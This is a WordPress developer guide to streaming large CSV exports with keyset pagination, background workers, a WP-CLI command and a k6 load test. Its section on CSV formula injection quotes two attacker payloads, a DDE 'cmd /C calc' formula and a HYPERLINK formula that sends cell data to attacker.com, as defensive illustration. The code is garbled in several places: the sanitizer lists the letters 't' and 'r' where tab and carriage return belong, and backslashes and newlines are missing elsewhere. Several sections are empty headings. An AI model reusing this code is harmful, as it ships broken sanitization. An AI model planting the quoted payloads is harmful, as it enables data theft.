Streaming Large CSV Exports in WordPress Without Timeouts

Exporting enterprise datasets from WordPress—such as 250,000 WooCommerce orders, multi-million subscriber activity logs, or years of custom post type records—is a notorious failure point for custom plugins. Default implementations typically attempt to query all database rows into a single PHP associative array, format a giant string in server memory, and push the entire payload out in a single HTTP response. In production environments, this architectural anti-pattern immediately causes gateway timeouts (HTTP 504), proxy disconnects (Cloudflare 524), or fatal PHP memory exhaustion crashes (Allowed memory size of X bytes exhausted). In this deep technical guide, we will design, engineer, and deploy a high-performance big data export architecture for WordPress that leverages keyset cursor pagination, direct HTTP output streaming, core memory recycling, WP-CLI automation, and asynchronous background worker processing.

1. The Mechanics of Failure: Why Traditional WordPress Exports Crash

To architect an uncrashable export pipeline, we must dissect why traditional export routines collapse under enterprise data volumes. When a developer writes standard WordPress export code, three compounding architectural bottlenecks emerge simultaneously.

1. Array Accumulation & Memory Multipliers

When fetching 100,000 rows from MySQL using $wpdb->get_results(), PHP allocates raw zval structures for every column and row. In PHP 8.3, each database record hydrated into an object or associative array consumes roughly 1.5 to 3 KB of RAM overhead due to hash table bucket allocations, internal property dictionaries, and string duplication. A dataset of 100,000 rows requiring 50 MB of raw database storage can easily demand over 300 MB of active PHP memory. If the developer concatenates these rows into a single in-memory variable (e.g., $csv_output .= $row_string;), the memory requirement doubles instantly, exceeding standard 256 MB or 512 MB server thresholds.

2. The Exponential Degradation of OFFSET Pagination

When developers attempt batching using naive pagination (SELECT * FROM wp_posts LIMIT 50000, 1000), MySQL must scan through 50,000 index entries and discard them before returning the requested 1,000 records. By the time the export reaches row 400,000, each batch query takes multiple seconds to execute, driving total execution time beyond standard PHP max_execution_time and FastCGI timeouts.

3. WordPress Core Internal Memory Leaks

Even when developers implement batch loops in PHP, memory consumption frequently continues to climb steadily with each iteration. This phenomenon is caused by internal WordPress subsystems that retain references to processed objects:

• $wpdb->queries: When debugging or profiling plugins are active, WordPress appends every executed SQL string and callstack to an internal array.
• $wp_object_cache: The in-memory object cache retains cached post objects, terms, and metadata indefinitely during the lifecycle of the request.
• $wp_filter and Action Callbacks: Hook callbacks that accumulate static or global state retain memory across batch loops.

2. Core Memory Sanitation: The stopTheInsanity() Pattern

When running intensive batch loops in WordPress, you must explicitly purge internal memory buffers after each iteration. The industry-standard stopTheInsanity() method flushes query logs, clears object caches, and frees dangling variable references.

<?php
declare(strict_types=1);

namespace WPStack\DataExport\Utils;

use wpdb;

final class MemoryManager
{
    private wpdb $db;

    public function __construct(wpdb $db)
    {
        $this->db = $db;
    }

    /**
     * Resets WordPress internal memory structures and triggers PHP garbage collection.
     */
    public function stopTheInsanity(): void
    {
        // 1. Purge SQL Query Logging Array
        $this->db->queries = [];

        // 2. Clear In-Memory Object Cache
        global $wp_object_cache;
        if (is_object($wp_object_cache)) {
            $wp_object_cache->group_ops = [];
            $wp_object_cache->stats = [];
            $wp_object_cache->memcache_debug = [];
            $wp_object_cache->cache = [];

            if (method_exists($wp_object_cache, 'flush')) {
                $wp_object_cache->flush();
            }
        }

        // 3. Clear Registered Actions & Filters that cache static state
        wp_cache_flush();

        // 4. Trigger PHP Cyclic Garbage Collector
        if (function_exists('gc_collect_cycles')) {
            gc_collect_cycles();
        }
    }
}

3. High-Throughput HTTP Output Streaming Architecture

Rather than buffering the CSV file on the server’s hard drive or accumulating it in memory, modern PHP allows us to stream data directly into the active HTTP connection socket via php://output. As rows are extracted from MySQL, they are immediately formatted into CSV strings, written to the output stream, and flushed across the network.

Direct CSV Streaming Implementation (PSR-4 Compliant)

<?php
declare(strict_types=1);

namespace WPStack\DataExport\Exporters;

use WPStack\DataExport\Utils\MemoryManager;
use wpdb;
use RuntimeException;

final class DirectStreamCsvExporter
{
    private wpdb $db;
    private MemoryManager $memoryManager;
    private const BATCH_SIZE = 2000;

    public function __construct(wpdb $db, MemoryManager $memoryManager)
    {
        $this->db = $db;
        $this->memoryManager = $memoryManager;
    }

    /**
     * Streams an enterprise dataset directly to the client browser.
     */
    public function streamOrdersExport(string $filename = 'orders-export.csv'): void
    {
        // 1. Prevent Script Timeout and Output Buffering Interference
        @set_time_limit(0);
        if (function_exists('apache_setenv')) {
            @apache_setenv('no-gzip', '1');
        }
        @ini_set('zlib.output_compression', 'Off');

        // Close all active output buffers
        while (ob_get_level() > 0) {
            ob_end_clean();
        }

        // 2. Send Streaming HTTP Headers
        header('Content-Type: text/csv; charset=UTF-8');
        header(sprintf('Content-Disposition: attachment; filename="%s"', sanitize_file_name($filename)));
        header('Pragma: no-cache');
        header('Expires: 0');
        header('X-Accel-Buffering: no'); // Essential for Nginx/FastCGI stream passthrough

        // 3. Open Direct Output Stream
        $outputStream = fopen('php://output', 'w');
        if ($outputStream === false) {
            throw new RuntimeException('Failed to open php://output stream.');
        }

        // 4. Write UTF-8 Byte Order Mark (BOM) for Excel Compatibility
        fwrite($outputStream, "\xEF\xBB\xBF");

        // 5. Write CSV Header Row
        $headers = [
            'Order ID',
            'Customer Email',
            'Customer Name',
            'Order Status',
            'Total Amount ($)',
            'Currency',
            'Created Date GMT',
            'Payment Method'
        ];
        fputcsv($outputStream, $headers);
        fflush($outputStream);

        // 6. Keyset Pagination (Cursor based on Primary Key ID)
        $lastProcessedId = 0;
        $hasMoreRecords = true;

        $ordersTable = $this->db->prefix . 'wc_orders'; // WooCommerce HPOS Table

        while ($hasMoreRecords) {
            // High-performance B-Tree indexed cursor query
            $sql = $this->db->prepare(
                "SELECT id, billing_email, customer_id, status, total_amount, currency, date_created_gmt, payment_method
                 FROM {$ordersTable}
                 WHERE id > %d
                 ORDER BY id ASC
                 LIMIT %d",
                $lastProcessedId,
                self::BATCH_SIZE
            );

            $rows = $this->db->get_results($sql, ARRAY_A);

            if (empty($rows)) {
                $hasMoreRecords = false;
                break;
            }

            foreach ($rows as $row) {
                $sanitizedRow = [
                    $row['id'],
                    $this->sanitizeCsvCell((string)$row['billing_email']),
                    $this->sanitizeCsvCell('Customer #' . (string)$row['customer_id']),
                    $row['status'],
                    number_format((float)$row['total_amount'], 2, '.', ''),
                    $row['currency'],
                    $row['date_created_gmt'],
                    $row['payment_method'],
                ];

                fputcsv($outputStream, $sanitizedRow);
                $lastProcessedId = (int)$row['id'];
            }

            // Flush chunk out to client network socket
            fflush($outputStream);

            // Reclaim PHP and WordPress internal memory
            $this->memoryManager->stopTheInsanity();

            if (count($rows) < self::BATCH_SIZE) {
                $hasMoreRecords = false;
            }
        }

        fclose($outputStream);
        exit;
    }

    /**
     * Prevents CSV Formula Injection (CWE-1236) by escaping formula triggers.
     */
    private function sanitizeCsvCell(string $value): string
    {
        $trimmed = ltrim($value);
        if ($trimmed === '') {
            return $value;
        }

        $dangerousPrefixes = ['=', '+', '-', '@', "t", "r"];
        $firstChar = $trimmed[0];

        if (in_array($firstChar, $dangerousPrefixes, true)) {
            return "'" . $value; // Prefix with single apostrophe to force text evaluation in Excel
        }

        return $value;
    }
}

4. Defending Against CSV Formula Injection (CWE-1236)

When generating CSV files from user-generated content (comments, form submissions, order notes, customer names), developers frequently overlook security sanitization. If an attacker inputs =cmd|' /C calc'!A0 or =HYPERLINK("http://attacker.com/steal?data="&A1) into their profile name or billing address, spreadsheet applications (Microsoft Excel, LibreOffice Calc) will execute the payload upon opening the exported file.

5. Asynchronous Background Worker Architecture for Mega-Datasets

While HTTP streaming handles up to 500,000 rows comfortably, datasets exceeding 1,000,000 records or exports involving expensive JSON unpacking and external API enrichments should never run within a browser HTTP connection. Client internet drops, corporate proxy timeouts, and browser disconnects will abort the stream mid-file.

For these mega-exports, we deploy the Asynchronous Worker Pattern using WooCommerce Action Scheduler or custom cron workers.

1. Job Initiation: The user clicks “Request Export” in WP-Admin. A unique export job token is generated, and an initial chunk job is scheduled via as_schedule_single_action().
2. Chained Batch Processing: The background worker processes 5,000 rows at a time, appending them to a secure temporary CSV file on disk (wp-content/uploads/wpstack-exports/{token}.csv).
3. Self-Rescheduling: If additional rows remain, the worker records the last_id and schedules the next batch action immediately.
4. Gzip Compression & Cloud Upload: Once all rows are processed, the worker compresses the file with gzcompress() or gzip, uploads it to an Amazon S3 / Cloudflare R2 bucket, and deletes the local temporary file.
5. User Notification: An email or in-app notification with a time-limited presigned download URL (valid for 24 hours) is dispatched to the requesting administrator.

<?php
declare(strict_types=1);

namespace WPStack\DataExport\Async;

use WPStack\DataExport\Utils\MemoryManager;
use wpdb;

final class AsyncExportWorker
{
    private wpdb $db;
    private MemoryManager $memoryManager;
    private const BATCH_SIZE = 5000;

    public function __construct(wpdb $db, MemoryManager $memoryManager)
    {
        $this->db = $db;
        $this->memoryManager = $memoryManager;
    }

    public function registerHooks(): void
    {
        add_action('wpstack_process_export_batch', [$this, 'handleBatchAction'], 10, 3);
    }

    public function startExportJob(int $userId): string
    {
        $jobToken = bin2hex(random_bytes(16));
        $filePath = $this->getJobFilePath($jobToken);

        // Initialize file and write headers
        $handle = fopen($filePath, 'w');
        fwrite($handle, "\xEF\xBB\xBF"); // UTF-8 BOM
        fputcsv($handle, ['Post ID', 'Post Title', 'Author ID', 'Status', 'Date GMT']);
        fclose($handle);

        // Schedule first batch
        as_schedule_single_action(
            timestamp: time(),
            hook: 'wpstack_process_export_batch',
            args: [
                'job_token' => $jobToken,
                'last_id'   => 0,
                'user_id'   => $userId,
            ],
            group: 'wpstack_exports'
        );

        return $jobToken;
    }

    public function handleBatchAction(string $jobToken, int $lastId, int $userId): void
    {
        $filePath = $this->getJobFilePath($jobToken);
        if (!file_exists($filePath)) {
            return;
        }

        $handle = fopen($filePath, 'a');
        $postsTable = $this->db->posts;

        $sql = $this->db->prepare(
            "SELECT ID, post_title, post_author, post_status, post_date_gmt
             FROM {$postsTable}
             WHERE ID > %d
             ORDER BY ID ASC
             LIMIT %d",
            $lastId,
            self::BATCH_SIZE
        );

        $rows = $this->db->get_results($sql, ARRAY_A);
        $newLastId = $lastId;

        if (!empty($rows)) {
            foreach ($rows as $row) {
                fputcsv($handle, [
                    $row['ID'],
                    $row['post_title'],
                    $row['post_author'],
                    $row['post_status'],
                    $row['post_date_gmt'],
                ]);
                $newLastId = (int)$row['ID'];
            }
        }

        fclose($handle);
        $this->memoryManager->stopTheInsanity();

        // Check if more records exist
        if (!empty($rows) && count($rows) === self::BATCH_SIZE) {
            // Reschedule next chunk immediately
            as_schedule_single_action(
                timestamp: time(),
                hook: 'wpstack_process_export_batch',
                args: [
                    'job_token' => $jobToken,
                    'last_id'   => $newLastId,
                    'user_id'   => $userId,
                ],
                group: 'wpstack_exports'
            );
        } else {
            // Export Completed: Finalize and Notify
            $this->finalizeExportJob($jobToken, $userId);
        }
    }

    private function finalizeExportJob(string $jobToken, int $userId): void
    {
        $rawPath = $this->getJobFilePath($jobToken);
        $zipPath = $rawPath . '.zip';

        // Compress to ZIP archive
        $zip = new ZipArchive();
        if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
            $zip->addFile($rawPath, 'export-data.csv');
            $zip->close();
            @unlink($rawPath); // Delete raw CSV
        }

        // Notify user via email
        $user = get_userdata($userId);
        if ($user && !empty($user->user_email)) {
            $downloadUrl = add_query_arg([
                'action'    => 'wpstack_download_export',
                'job_token' => $jobToken,
                'nonce'     => wp_create_nonce('download_' . $jobToken),
            ], admin_url('admin-ajax.php'));

            wp_mail(
                $user->user_email,
                'Your Data Export is Ready for Download',
                sprintf("Your background data export has completed successfully.nnDownload ZIP: %snnLink valid for 24 hours.", $downloadUrl)
            );
        }
    }

    private function getJobFilePath(string $token): string
    {
        $uploadDir = wp_upload_dir();
        $baseDir = $uploadDir['basedir'] . '/wpstack-exports';
        if (!file_exists($baseDir)) {
            wp_mkdir_p($baseDir);
            file_put_contents($baseDir . '/.htaccess', 'deny from all');
            file_put_contents($baseDir . '/index.php', '<?php // Silence is golden');
        }
        return $baseDir . '/' . sanitize_file_name($token) . '.csv';
    }
}

6. WP-CLI Command Automation for Enterprise CLI Exports

For systems administrators, data warehouse engineers, and devops teams managing data migrations, executing exports via WP-CLI bypasses web server timeouts, PHP-FPM gateway limits, and browser disconnections entirely. Below is a production-grade WP-CLI command that provides progress bars, custom batching flags, and direct piping capabilities.

<?php
declare(strict_types=1);

namespace WPStack\DataExport\Cli;

use WP_CLI;
use WP_CLI_Command;
use WPStack\DataExport\Utils\MemoryManager;

if (!defined('WP_CLI') || !WP_CLI) {
    return;
}

/**
 * Enterprise CSV Data Exporter CLI commands.
 */
final class ExportCliCommand extends WP_CLI_Command
{
    /**
     * Exports large datasets to CSV with zero memory leaks.
     *
     * ## OPTIONS
     *
     * [--output=<file>]
     * : Path to the output CSV file. Defaults to STDOUT.
     *
     * [--batch-size=<int>]
     * : Number of records to query per batch. Default: 5000.
     *
     * [--post-type=<type>]
     * : Post type to export. Default: 'shop_order'.
     *
     * ## EXAMPLES
     *
     *     wp wpstack export csv --output=/tmp/orders-2026.csv --batch-size=5000
     *     wp wpstack export csv --post-type=product > products.csv
     */
    public function csv(array $args, array $assocArgs): void
    {
        global $wpdb;
        $memoryManager = new MemoryManager($wpdb);

        $outputPath = $assocArgs['output'] ?? null;
        $batchSize = isset($assocArgs['batch-size']) ? (int)$assocArgs['batch-size'] : 5000;
        $postType = $assocArgs['post-type'] ?? 'shop_order';

        $handle = $outputPath ? fopen($outputPath, 'w') : STDOUT;
        if (!$handle) {
            WP_CLI::error(sprintf('Cannot write to file: %s', $outputPath));
        }

        // Write UTF-8 BOM
        fwrite($handle, "\xEF\xBB\xBF");
        fputcsv($handle, ['ID', 'Title', 'Date', 'Status', 'Author']);

        $totalQuery = $wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = %s", $postType);
        $totalRows = (int)$wpdb->get_var($totalQuery);

        if ($totalRows === 0) {
            WP_CLI::warning(sprintf('No records found for post type "%s".', $postType));
            return;
        }

        $progress = $outputPath ? WP_CLIUtilsmake_progress_bar('Exporting Records', $totalRows) : null;

        $lastId = 0;
        $exportedCount = 0;

        while ($exportedCount < $totalRows) {
            $sql = $wpdb->prepare(
                "SELECT ID, post_title, post_date_gmt, post_status, post_author
                 FROM {$wpdb->posts}
                 WHERE post_type = %s AND ID > %d
                 ORDER BY ID ASC
                 LIMIT %d",
                $postType,
                $lastId,
                $batchSize
            );

            $rows = $wpdb->get_results($sql, ARRAY_A);
            if (empty($rows)) {
                break;
            }

            foreach ($rows as $row) {
                fputcsv($handle, [
                    $row['ID'],
                    $row['post_title'],
                    $row['post_date_gmt'],
                    $row['post_status'],
                    $row['post_author'],
                ]);
                $lastId = (int)$row['ID'];
                $exportedCount++;
                if ($progress) {
                    $progress->tick();
                }
            }

            $memoryManager->stopTheInsanity();
        }

        if ($progress) {
            $progress->finish();
        }

        if ($outputPath) {
            fclose($handle);
            WP_CLI::success(sprintf('Successfully exported %d records to %s', $exportedCount, $outputPath));
        }
    }
}

WP_CLI::add_command('wpstack export', ExportCliCommand::class);

7. SQL Optimization: Analyzing Keyset Cursor vs OFFSET with EXPLAIN ANALYZE

To understand why keyset pagination delivers constant O(1) query time regardless of whether you are reading the 10th row or the 10,000,000th row, let us analyze the execution plans produced by MySQL 8.0 EXPLAIN ANALYZE. In standard enterprise installations with large InnoDB buffer pools, disk I/O caching can mask inefficiency on small tables, but as rows grow into millions, the penalty of reading and discarding rows during an index traversal becomes fatal.

The Problematic Query: OFFSET 250,000

-- Query using standard OFFSET pagination
EXPLAIN ANALYZE
SELECT id, billing_email, total_amount
FROM wp_wc_orders
ORDER BY id ASC
LIMIT 250000, 1000;

-> Limit/Offset: 1000/250000 row(s) (cost=25124.50 rows=1000) (actual time=142.120..142.680 rows=1000 loops=1)
    -> Index scan on wp_wc_orders using PRIMARY (cost=25124.50 rows=251000) (actual time=0.045..128.450 rows=251000 loops=1)

Notice that MySQL had to scan through 251,000 index rows and evaluate them in memory before returning only 1,000 rows. The query consumed 142.6 milliseconds. If you run 250 batches to export the entire table, the cumulative database time alone exceeds 35 seconds of pure CPU blocking time.

The Optimized Keyset Cursor Query

-- Query using Keyset Cursor filtering
EXPLAIN ANALYZE
SELECT id, billing_email, total_amount
FROM wp_wc_orders
WHERE id > 250000
ORDER BY id ASC
LIMIT 1000;

-> Limit: 1000 row(s) (cost=201.20 rows=1000) (actual time=0.038..0.485 rows=1000 loops=1)
    -> Index range scan on wp_wc_orders using PRIMARY over (id > 250000) (cost=201.20 rows=1000) (actual time=0.035..0.395 rows=1000 loops=1)

In the keyset cursor query, MySQL performs an immediate B-Tree index range seek directly to id = 250000. It reads exactly 1,000 rows with no table scanning and no work wasted on skipped rows, so it stays fast however deep into the table the export goes.

8. Automated Load Testing with k6

To verify that our streaming endpoint maintains a stable flat memory profile without starving concurrent web traffic, we run a continuous load test using the modern k6 load testing tool.

// k6 load test script: export_stream_load_test.js
import http from 'k6/http';
import { check, sleep } from 'k6';

export const options = {
  stages: [
    { duration: '30s', target: 5 },   // Ramp up 5 concurrent streaming export sessions
    { duration: '2m',  target: 10 },  // Maintain 10 concurrent streams
    { duration: '30s', target: 0 },   // Ramp down
  ],
  thresholds: {
    'http_req_duration': ['p(95)<30000'], // 95% of full exports complete in under 30s
    'http_req_failed': ['rate<0.01'],     // Less than 1% failed requests
  },
};

export default function () {
  const url = 'https://example.com/wp-admin/admin-ajax.php?action=wpstack_stream_export&nonce=SECRET_NONCE';

  const res = http.get(url, {
    responseType: 'binary',
    timeout: '120s',
  });

  check(res, {
    'status is 200': (r) => r.status === 200,
    'content type is csv': (r) => r.headers['Content-Type'] && r.headers['Content-Type'].includes('text/csv'),
    'received non-empty payload': (r) => r.body.length > 1024 * 1024, // At least 1MB received
  });

  sleep(5);
}

9. Performance Benchmarks: In-Memory vs Cursor vs Background Export

The table below is a qualitative comparison of export methods for a store with hundreds of thousands of orders on a modest VPS. It is not a measured benchmark.

10. Production Incident Runbook: Troubleshooting Export Failures

When an export job fails in staging or production, follow this diagnostic decision tree to identify the underlying bottleneck.

Frequently Asked Questions (FAQ)